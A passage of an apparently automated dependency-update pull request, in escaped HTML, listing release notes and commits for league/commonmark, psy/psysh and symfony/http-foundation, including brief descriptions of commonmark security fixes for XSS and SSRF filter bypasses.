href=\"https://github.com/thephpleague/commonmark/security/advisories/GHSA-4v6x-c7xx-hw9f\"\u003eGHSA-4v6x-c7xx-hw9f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed PHP 8.5 deprecation (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kocal\"\u003e\u003ccode\u003e@​Kocal\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1106\"\u003ethephpleague/commonmark#1106\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/freost\"\u003e\u003ccode\u003e@​freost\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1107\"\u003ethephpleague/commonmark#1107\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.8.0...2.8.1\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.8.0...2.8.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.8.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a new \u003ccode\u003eHighlightExtension\u003c/code\u003e for marking important text using \u003ccode\u003e==\u003c/code\u003e syntax (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1100\"\u003e#1100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAutolinkExtension\u003c/code\u003e incorrectly matching URLs after invalid \u003ccode\u003ewww.\u003c/code\u003e prefix (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1095\"\u003e#1095\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1103\"\u003e#1103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/samwilson\"\u003e\u003ccode\u003e@​samwilson\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1090\"\u003ethephpleague/commonmark#1090\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ossobuffo\"\u003e\u003ccode\u003e@​ossobuffo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1100\"\u003ethephpleague/commonmark#1100\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.7.1...2.8.0\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.7.1...2.8.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.7.1\u003c/h2\u003e\n\u003ch2\u003eNotable Changes\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOptimized several regular expressions in \u003ccode\u003eRegexHelper\u003c/code\u003e to improve performance (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/674\"\u003e#674\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1086\"\u003e#1086\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eEmbedProcessor\u003c/code\u003e no longer calls \u003ccode\u003eupdateEmbeds()\u003c/code\u003e when there are no embeds to update (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1081\"\u003e#1081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed missing \u003ccode\u003ebenchmark.php\u003c/code\u003e CSV path validation for non-existent files (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1068\"\u003e#1068\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1085\"\u003e#1085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/thephpleague/commonmark/blob/2.8/CHANGELOG.md\"\u003eleague/commonmark's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[2.8.2] - 2026-03-19\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where the \u003ccode\u003eallowed_domains\u003c/code\u003e setting for the \u003ccode\u003eEmbed\u003c/code\u003e extension can be bypassed, resulting in a possible SSRF and XSS vulnerabilities.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDomainFilteringAdapter\u003c/code\u003e hostname boundary bypass where domains like \u003ccode\u003eyoutube.com.evil\u003c/code\u003e could match an allowlist entry for \u003ccode\u003eyoutube.com\u003c/code\u003e (GHSA-hh8v-hgvp-g3f5)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.8.1] - 2026-03-05\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where \u003ccode\u003eDisallowedRawHtml\u003c/code\u003e can be bypassed, resulting in a possible cross-site scripting (XSS) vulnerability.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDisallowedRawHtmlRenderer\u003c/code\u003e not blocking raw HTML tags with trailing ASCII whitespace (GHSA-4v6x-c7xx-hw9f)\u003c/li\u003e\n\u003cli\u003eFixed PHP 8.5 deprecation (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.8.0] - 2025-11-26\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a new \u003ccode\u003eHighlightExtension\u003c/code\u003e for marking important text using \u003ccode\u003e==\u003c/code\u003e syntax (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1100\"\u003e#1100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAutolinkExtension\u003c/code\u003e incorrectly matching URLs after invalid \u003ccode\u003ewww.\u003c/code\u003e prefix (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1095\"\u003e#1095\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1103\"\u003e#1103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.7.1] - 2025-07-20\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOptimized several regular expressions in \u003ccode\u003eRegexHelper\u003c/code\u003e to improve performance (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/674\"\u003e#674\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1086\"\u003e#1086\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eEmbedProcessor\u003c/code\u003e no longer calls \u003ccode\u003eupdateEmbeds()\u003c/code\u003e when there are no embeds to update (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1081\"\u003e#1081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed missing \u003ccode\u003ebenchmark.php\u003c/code\u003e CSV path validation for non-existent files (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1068\"\u003e#1068\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1085\"\u003e#1085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/59fb075d2101740c337c7216e3f32b36c204218b\"\u003e\u003ccode\u003e59fb075\u003c/code\u003e\u003c/a\u003e Fix DomainFilteringAdapter hostname boundary bypass\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/74b4487b524eaacd34b4e87313f6028671e15562\"\u003e\u003ccode\u003e74b4487\u003c/code\u003e\u003c/a\u003e Document dangers of enabling an unsafe php.ini setting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/84b1ca48347efdbe775426f108622a42735a6579\"\u003e\u003ccode\u003e84b1ca4\u003c/code\u003e\u003c/a\u003e Almost forgot this entry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/bcf54f5a38cf8e42cca45248b04caba13317459f\"\u003e\u003ccode\u003ebcf54f5\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/7a68ed1c6765bd2650fed6d9857985bdfe655c71\"\u003e\u003ccode\u003e7a68ed1\u003c/code\u003e\u003c/a\u003e Prepare to release 2.8.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/5c0c4c8fe5a31e8260be99e0afad7136a27c79e6\"\u003e\u003ccode\u003e5c0c4c8\u003c/code\u003e\u003c/a\u003e Fix DisallowedRawHtml bypass via newline/tab in tag names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/f6e74434dd1a91f195f80cb0184b746a4187272a\"\u003e\u003ccode\u003ef6e7443\u003c/code\u003e\u003c/a\u003e Add regression test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/0719b6744cc68bc8b037fb30db86b62ec370c557\"\u003e\u003ccode\u003e0719b67\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e from freost/fix-php85-deprecation-error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/63ff2e0b12742f379803b5f21aa6f5b50abcd412\"\u003e\u003ccode\u003e63ff2e0\u003c/code\u003e\u003c/a\u003e Fix PHP 8.5 deprecation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/8608e9c006d9f44acf8d983b126a813bd8def780\"\u003e\u003ccode\u003e8608e9c\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1106\"\u003e#1106\u003c/a\u003e from Kocal/patch-1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.7.0...2.8.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `psy/psysh` from 0.12.8 to 0.12.22\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/bobthecow/psysh/releases\"\u003epsy/psysh's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ePsySH v0.12.22\u003c/h2\u003e\n\u003ch2\u003eRuntime config and clipboard support\u003c/h2\u003e\n\u003cp\u003ePsySH has a new \u003ccode\u003econfig\u003c/code\u003e command for inspecting and updating runtime-configurable settings during the current session. You can tweak things like \u003ccode\u003epager\u003c/code\u003e, \u003ccode\u003etheme\u003c/code\u003e, \u003ccode\u003everbosity\u003c/code\u003e, \u003ccode\u003euseSuggestions\u003c/code\u003e, \u003ccode\u003euseSyntaxHighlighting\u003c/code\u003e, \u003ccode\u003eclipboardCommand\u003c/code\u003e, and \u003ccode\u003esemicolonsSuppressReturn\u003c/code\u003e without restarting the shell. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/361\"\u003e#361\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThere’s also a new \u003ccode\u003ecopy\u003c/code\u003e command for copying the last result (\u003ccode\u003e$_\u003c/code\u003e) or any expression to your clipboard. Works with system clipboard commands, or via OSC 52 for SSH and remote terminals.\u003c/p\u003e\n\u003cp\u003eConfigure with \u003ccode\u003eclipboardCommand\u003c/code\u003e or \u003ccode\u003euseOsc52Clipboard\u003c/code\u003e in your config.\u003c/p\u003e\n\u003ch2\u003eSemicolon-based return suppression\u003c/h2\u003e\n\u003cp\u003eOptionally suppress return values by ending a statement with \u003ccode\u003e;\u003c/code\u003e, similar to MATLAB/Octave behavior. Supports a \u003ccode\u003e'double'\u003c/code\u003e mode requiring \u003ccode\u003e;;\u003c/code\u003e for suppression (if \u003ccode\u003erequireSemicolons\u003c/code\u003e is also enabled, both \u003ccode\u003etrue\u003c/code\u003e and \u003ccode\u003e'double'\u003c/code\u003e require \u003ccode\u003e;;\u003c/code\u003e).\u003c/p\u003e\n\u003cpre lang=\"php\"\u003e\u003ccode\u003e'semicolonsSuppressReturn' =\u0026gt; true,\r\n'semicolonsSuppressReturn' =\u0026gt; 'double', // Always require ;; to suppress\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eOutput and exception display improvements\u003c/h2\u003e\n\u003cp\u003eStrings are now valid PHP!\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePsySH now preserves backslashes and other characters it previously mangled in a few cases. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/351\"\u003e#351\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/568\"\u003e#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMultiline strings are rendered using heredoc-style output rather than triple-quoted strings \u003ccode\u003e\u0026quot;\u0026quot;\u0026quot;\u003c/code\u003e. The old format is available via \u003ccode\u003euseDeprecatedMultilineStrings\u003c/code\u003e until the next major release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eProviding an \u003ccode\u003eexceptionDetails\u003c/code\u003e callback via config renders additional context about exceptions (e.g. validation errors) alongside the error message. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/648\"\u003e#648\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eA few other improvements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMore consistent compact (and non-compact) output spacing.\u003c/li\u003e\n\u003cli\u003eResponsive \u003ccode\u003ehelp\u003c/code\u003e layout adapts to terminal width.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBetter completion for everyone\u003c/h2\u003e\n\u003cp\u003eLegacy readline now shares PsySH’s newer completion engine, which brings much better parity between ext-readline/libedit and experimental interactive readline. Command argument completion, better multiline buffering, and a handful of command-dispatch edge cases now work much more consistently outside experimental readline too.\u003c/p\u003e\n\u003cp\u003eCommands can now define their own argument completions via \u003ccode\u003eCommandArgumentCompletionAware\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003eInteractive readline polish\u003c/h2\u003e\n\u003cp\u003eNew in the experimental interactive readline:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLive syntax highlighting\u003c/strong\u003e — code is highlighted as you type. Can be disabled via \u003ccode\u003euseSyntaxHighlighting\u003c/code\u003e if you don't like colors, I guess.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAllman-style indenting\u003c/strong\u003e — opening brackets on a new line get proper indentation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImproved auto-dedent\u003c/strong\u003e — closing brackets automatically reduce indentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003epsy\\info()\u003c/code\u003e and \u003ccode\u003e--info\u003c/code\u003e also report more detail about readline and autocomplete state.\u003c/p\u003e\n\u003cp\u003eRun psysh with \u003ccode\u003e--experimental-readline\u003c/code\u003e and try it out. It's getting kind of awesome!\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/3be75d5b9244936dd4ac62ade2bfb004d13acf0f\"\u003e\u003ccode\u003e3be75d5\u003c/code\u003e\u003c/a\u003e Merge branch 'release/v0.12.22'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/8042a8fec59c72b9a9b5586f9bfe79e26c069aeb\"\u003e\u003ccode\u003e8042a8f\u003c/code\u003e\u003c/a\u003e Bump to v0.12.22\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/fd4cb699ef9df41ecd48f175edde3feaf4d8d794\"\u003e\u003ccode\u003efd4cb69\u003c/code\u003e\u003c/a\u003e Fix phan warning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/2b350a413b82010f6e88fbb794aa7364d5ca9ecf\"\u003e\u003ccode\u003e2b350a4\u003c/code\u003e\u003c/a\u003e Fix throw special casing in really old php-parser versions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/193e14994706fbe344291741bed2215622b1a659\"\u003e\u003ccode\u003e193e149\u003c/code\u003e\u003c/a\u003e Fix a code cleaner bug with \u003ccode\u003ethrow new Exception\u003c/code\u003e in PHP 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/f583f74b314459c5f838095ce7a341fdd81690b2\"\u003e\u003ccode\u003ef583f74\u003c/code\u003e\u003c/a\u003e Restore VarDumper hard-ref handling, suppress link-only markers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/1e6a0d6e8800e0d82c86b85b7de9e37ac65a74fd\"\u003e\u003ccode\u003e1e6a0d6\u003c/code\u003e\u003c/a\u003e Prefer use statements over FQNs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/484e600e2ac5f0e403796863865de6d8a6a66ebd\"\u003e\u003ccode\u003e484e600\u003c/code\u003e\u003c/a\u003e Simplify theme identity, no-op updates when unchanged\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/f01e492b18146675b218061c0c31b13fe58e3a9a\"\u003e\u003ccode\u003ef01e492\u003c/code\u003e\u003c/a\u003e Standardize test temp dir creation and cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/6f33aea84464ed64b0c684c78fedf1f6620483d8\"\u003e\u003ccode\u003e6f33aea\u003c/code\u003e\u003c/a\u003e Add token-based fallback for incomplete member completion\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/bobthecow/psysh/compare/v0.12.8...v0.12.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/http-foundation` from 7.3.0 to 7.4.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/http-foundation/releases\"\u003esymfony/http-foundation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.8\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.7...v7.4.8\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.7...v7.4.8\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.7\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.6...v7.4.7\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.6...v7.4.7\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63603\"\u003e#63603\u003c/a\u003e  Fix session cookie_lifetime not applied in mock session storage (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.6\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.5...v7.4.6\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.5...v7.4.6\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63448\"\u003e#63448\u003c/a\u003e  Handle empty session data in updateTimestamp() to fix compat with PHP 8.6 (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63319\"\u003e#63319\u003c/a\u003e  BinaryFileResponse: always return 206 if Range is valid (\u003ca href=\"https://github.com/Jimbolino\"\u003e\u003ccode\u003e@​Jimbolino\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63262\"\u003e#63262\u003c/a\u003e  Reject invalid paths (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/54304\"\u003e#54304\u003c/a\u003e  When calling UploadedFile::getErrorMessage() to a file which has no error and is uploaded successfully, it should not return an error (\u003ca href=\"https://github.com/ArmCyber\"\u003e\u003ccode\u003e@​ArmCyber\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63230\"\u003e#63230\u003c/a\u003e  fix engine declaration on mysql pdo table creations (\u003ca href=\"https://github.com/tandev\"\u003e\u003ccode\u003e@​tandev\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.5\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.4...v7.4.5\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.4...v7.4.5\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63137\"\u003e#63137\u003c/a\u003e  Fix PdoSessionHandler charset-collation mismatch with the Doctrine DBAL (\u003ca href=\"https://github.com/samy-mahmoudi\"\u003e\u003ccode\u003e@​samy-mahmoudi\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.4\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.3...v7.4.4\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.3...v7.4.4\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63012\"\u003e#63012\u003c/a\u003e  Fix double-prefixing of session keys when using redis/memcached (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.3\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.2...v7.4.3\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.2...v7.4.3\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62799\"\u003esymfony/symfony#62799\u003c/a\u003e [Cache][HttpFoundation] Fix VARBINARY columns on sqlsrv (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0...v7.4.1\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0...v7.4.1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62663\"\u003esymfony/symfony#62663\u003c/a\u003e [HttpFoundation] Improve logic in Request::createFromGlobals() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0-RC3...v7.4.0\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0-RC3...v7.4.0\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-RC1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0-BETA2...v7.4.0-RC1\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0-BETA2...v7.4.0-RC1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62287\"\u003esymfony/symfony#62287\u003c/a\u003e [HttpFoundation] Fix AcceptHeader overwrites items with different parameters (\u003ca href=\"https://github.com/yoeunes\"\u003e\u003ccode\u003e@​yoeunes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62324\"\u003esymfony/symfony#62324\u003c/a\u003e [HttpFoundation] Fix parsing hosts and schemes in URLs (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/http-foundation/blob/8.1/CHANGELOG.md\"\u003esymfony/http-foundation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eCHANGELOG\u003c/h1\u003e\n\u003ch2\u003e8.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eBinaryFileResponse::shouldDeleteFileAfterSend()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eDeprecate setting public properties of \u003ccode\u003eRequest\u003c/code\u003e and \u003ccode\u003eResponse\u003c/code\u003e objects directly; use setters or constructor arguments instead\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDrop HTTP method override support for methods GET, HEAD, CONNECT and TRACE\u003c/li\u003e\n\u003cli\u003eAdd argument 